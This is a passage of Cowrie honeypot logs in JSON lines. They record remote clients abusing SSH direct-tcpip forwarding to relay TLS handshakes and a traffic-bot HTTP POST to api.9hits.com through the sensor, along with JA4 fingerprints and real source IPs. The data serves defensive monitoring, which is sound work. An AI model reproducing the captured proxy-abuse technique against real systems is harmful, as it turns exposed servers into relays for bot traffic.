\\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 `\\xc7\\xe9\\xbe\\xea~.\\x03\\x90p\\xd9m\\xa7r\\xf6\\xeb\\xdf\\xf5\\xe1\\x87\\x87\\x8e>\\x83O\\xff\\x12B\\xee\\xca\\xd6\\x0b\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xb6\\xfe\\xd3<\\xde(\\xfe\\xf8\\x81\\xf1\\xf6K\\x8f,\\xd8\\x89[\\xe3\\x8f\\xffs*\\x89\\x08\\xb31\\xac\\x1c\\xff\\xe6Cc R\\xf8/\\x00N8,\\x0eM\\xc36{\\x1e\\x0f\\xcao\\xda\\xd0\\xc1XFn\\x0c\\x7f0\\xd0\\xc4\\x17!\\xec\\x05\\xd5\\x00 \\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 `\\xc7\\xe9\\xbe\\xea~.\\x03\\x90p\\xd9m\\xa7r\\xf6\\xeb\\xdf\\xf5\\xe1\\x87\\x87\\x8e>\\x83O\\xff\\x12B\\xee\\xca\\xd6\\x0b\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:34:02.294363Z","src_ip":"123.27.168.40","session":"00f0dd330338","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:34:02.786077Z","session":"00f0dd330338","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:34:03.032079Z","src_ip":"123.27.168.40","session":"00f0dd330338","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x8aVF\\x07Xc\\xdbgd*\\x85xs\\xa3\\x15n\\xdc\\xa3\\x9b\\x03t\\xd0\\x00\\xa4\\x17\\xc3\\x04\\x96\\x06\\x11]. \\xc3i\\xfa\\x16\\xf2O\\xfdr\\x8cj\\xaa*@V6\\xddc{\\xf1\\x06\\x97\\xf0\\x03 \\x03\\x8d\\x93O\\xac\\x88\\xfd\\x87\\x00\"**\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 c\\xc0\\x08n\\xc0\\xc4\\x1f@\\x01\\xa4\\xc9Z\\xaf\\x0f\\xce\\xb7r\\\\^Y+\\xd8\\xa8^C\\xe2uIQ\\x8d^i\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x8aVF\\x07Xc\\xdbgd*\\x85xs\\xa3\\x15n\\xdc\\xa3\\x9b\\x03t\\xd0\\x00\\xa4\\x17\\xc3\\x04\\x96\\x06\\x11]. \\xc3i\\xfa\\x16\\xf2O\\xfdr\\x8cj\\xaa*@V6\\xddc{\\xf1\\x06\\x97\\xf0\\x03 \\x03\\x8d\\x93O\\xac\\x88\\xfd\\x87\\x00\"**\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 c\\xc0\\x08n\\xc0\\xc4\\x1f@\\x01\\xa4\\xc9Z\\xaf\\x0f\\xce\\xb7r\\\\^Y+\\xd8\\xa8^C\\xe2uIQ\\x8d^i\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:34:03.035331Z","src_ip":"123.27.168.40","session":"00f0dd330338","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:34:03.390680Z","src_ip":"123.27.168.40","session":"00f0dd330338","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.148.145.132","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:34:07.480440Z","session":"5419f3c2e0ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":37910,"dst_ip":"159.203.135.109","dst_port":23,"session":"053fcb174145","protocol":"telnet","message":"New connection: 107.6.151.170:37910 (159.203.135.109:23) [session: 053fcb174145]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:34:07.569951Z"}
{"eventid":"cowrie.session.closed","duration":40.382603883743286,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:34:07.596672Z","src_ip":"128.199.8.54","session":"542a976a5bd2","protocol":"telnet"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:34:07.640649Z","src_ip":"23.148.145.132","session":"5419f3c2e0ed","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 9_3_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/9.3.2 EdgiOS/90.0.818.41 Mobile/13F69 Safari/605.1.15\\r\\nConnection: keep-alive\\r\\nContent-Length: 1182\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=Z1VydylyNyhpZCp%2BJU5aSw%3D%3DljIC97PMKdKmedCeg3rLllIN6Q3tYzLHNga5%2BFl5XHh1X%2F6wibdc3IFPHi7dn4Pne%2Bk0tEMx8jwSGKtg3ZY9MJkrp0F2z1hliTPWdohnEL0I9%2Fgv90uvhbAtYYpl7eEX7SRBQU59LK2NKgAMsBjxFd9Eyb54JWydtxQ7Amp7WWWDnkyXt3cGSeNqlfTvaFoATO%2FEwzj5fDGezNgv5YGjvmFHWxnw9JRMuMOKQaTEc1kA0uBEnu4mQ5fHLwUMZpjgm%2BonzM6B9LQx4vJxQUQR8%2BdbCz7tIqiKbXy4Fqzi4nhuWWtmfN%2BMwKfcG%2Flzyg%2Bj16LIfdm%2FQixPKZ3hmE25Nro3h%2BoRVh7ueygQjDvfhCuQQyjcZhwvu078uZeheDgPG00HYYh6rH3klmanpPNiAyxTVP3GfBfDF1beuAZAIsKZDfH6ikdXpoTvWy%2FutqjQwV0GpPeDY7gYo44g1F2l3ZlU%2FmlSZY11QThg5i9L8ibpNHVm%2Bf%2FUqDfXQP6MuN71NyYhX4%2FyrVDZROAx%2FD2sJUk9UM3YIMfno88gOUWB9AJPFRzujPBMEorc7jYZq54dEb3NCNdFOPNgNB3BL5FmO1mT9A%2FHKAfD4B7CxTsFCu01s4diTvRSHDOmvUA%2BLUPxwWCZ3ohzW93984wj2KaUsj8tDw1eVqMnNShIlPO%2BjTHYnTeTS0yQB2YVJsSrIdAt%2FsbnsK9TV38jGa6WFsctY40PZ2YypRY7HNVCxPQQyEhkclmtA%2FjUo3ig5ILLwDJ5k5f3N3qaIItCPtWlZjVnTBDeEr99ImxnhLf6nAHQ4Gwjy%2B6kDE%2FHvsxRyeIh3v0uAd%2FA2gKk0CIAqU2QrgOmb6nQVFGlRRQUvWJ0xhbC9YPtjw5mbGeD5fL3xfIQQ7JwxEPOQvfqpd7a5NG81im1vkjKUNU3QPq8MMO3cYAcrXi9X%2FB31zeyNjtbi7n6%2BvpxTSsLaWsmPZjB6RWn9mkcTD3Nuc1UgYBVQqfwiNhlzrcbBavjslsWddUFMZch73ECLNophVMnkayy1pZlaah8daUKRKBGnBVo%2B221%2FtXR%2B7VOWKTQLrZr1JGVg6WM8YNS'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 9_3_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/9.3.2 EdgiOS/90.0.818.41 Mobile/13F69 Safari/605.1.15\\r\\nConnection: keep-alive\\r\\nContent-Length: 1182\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=Z1VydylyNyhpZCp%2BJU5aSw%3D%3DljIC97PMKdKmedCeg3rLllIN6Q3tYzLHNga5%2BFl5XHh1X%2F6wibdc3IFPHi7dn4Pne%2Bk0tEMx8jwSGKtg3ZY9MJkrp0F2z1hliTPWdohnEL0I9%2Fgv90uvhbAtYYpl7eEX7SRBQU59LK2NKgAMsBjxFd9Eyb54JWydtxQ7Amp7WWWDnkyXt3cGSeNqlfTvaFoATO%2FEwzj5fDGezNgv5YGjvmFHWxnw9JRMuMOKQaTEc1kA0uBEnu4mQ5fHLwUMZpjgm%2BonzM6B9LQx4vJxQUQR8%2BdbCz7tIqiKbXy4Fqzi4nhuWWtmfN%2BMwKfcG%2Flzyg%2Bj16LIfdm%2FQixPKZ3hmE25Nro3h%2BoRVh7ueygQjDvfhCuQQyjcZhwvu078uZeheDgPG00HYYh6rH3klmanpPNiAyxTVP3GfBfDF1beuAZAIsKZDfH6ikdXpoTvWy%2FutqjQwV0GpPeDY7gYo44g1F2l3ZlU%2FmlSZY11QThg5i9L8ibpNHVm%2Bf%2FUqDfXQP6MuN71NyYhX4%2FyrVDZROAx%2FD2sJUk9UM3YIMfno88gOUWB9AJPFRzujPBMEorc7jYZq54dEb3NCNdFOPNgNB3BL5FmO1mT9A%2FHKAfD4B7CxTsFCu01s4diTvRSHDOmvUA%2BLUPxwWCZ3ohzW93984wj2KaUsj8tDw1eVqMnNShIlPO%2BjTHYnTeTS0yQB2YVJsSrIdAt%2FsbnsK9TV38jGa6WFsctY40PZ2YypRY7HNVCxPQQyEhkclmtA%2FjUo3ig5ILLwDJ5k5f3N3qaIItCPtWlZjVnTBDeEr99ImxnhLf6nAHQ4Gwjy%2B6kDE%2FHvsxRyeIh3v0uAd%2FA2gKk0CIAqU2QrgOmb6nQVFGlRRQUvWJ0xhbC9YPtjw5mbGeD5fL3xfIQQ7JwxEPOQvfqpd7a5NG81im1vkjKUNU3QPq8MMO3cYAcrXi9X%2FB31zeyNjtbi7n6%2BvpxTSsLaWsmPZjB6RWn9mkcTD3Nuc1UgYBVQqfwiNhlzrcbBavjslsWddUFMZch73ECLNophVMnkayy1pZlaah8daUKRKBGnBVo%2B221%2FtXR%2B7VOWKTQLrZr1JGVg6WM8YNS'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:34:07.644246Z","src_ip":"23.148.145.132","session":"5419f3c2e0ed","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.148.145.132","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:34:07.906770Z","session":"5419f3c2e0ed","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:34:07.954200Z","src_ip":"23.148.145.132","session":"5419f3c2e0ed","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x8dQ\\xeb\\xf1\\xa1T\\xca\\x06\\xa8h\\xff\\xf6\\xc2e\\xea\\r\\x1b7\\xc7<\\xe8\"\\x97\\x98\\xd5a>\\xb25\\x93\\xa2\\xdf ]\\xbd\\x86Y\\xc6\\xbb+n\\x06\\xbbo4\"\\x03{\\xacV\\x9bHy\\x0c\\x9e*F\\xd8\\x7f\\xf7\\x15\\x0e\\xaf\\xb0\\x96\\x00 \\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xc88n\\xed]\\x064\\xd1IW\\xea\\x1eRgm78\\x9d\\x15\\xea\\xb2\\x8a\\xc6\\xb1\\\\)V\\xf69\\xbf\\xcb\\x0c\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x8dQ\\xeb\\xf1\\xa1T\\xca\\x06\\xa8h\\xff\\xf6\\xc2e\\xea\\r\\x1b7\\xc7<\\xe8\"\\x97\\x98\\xd5a>\\xb25\\x93\\xa2\\xdf ]\\xbd\\x86Y\\xc6\\xbb+n\\x06\\xbbo4\"\\x03{\\xacV\\x9bHy\\x0c\\x9e*F\\xd8\\x7f\\xf7\\x15\\x0e\\xaf\\xb0\\x96\\x00 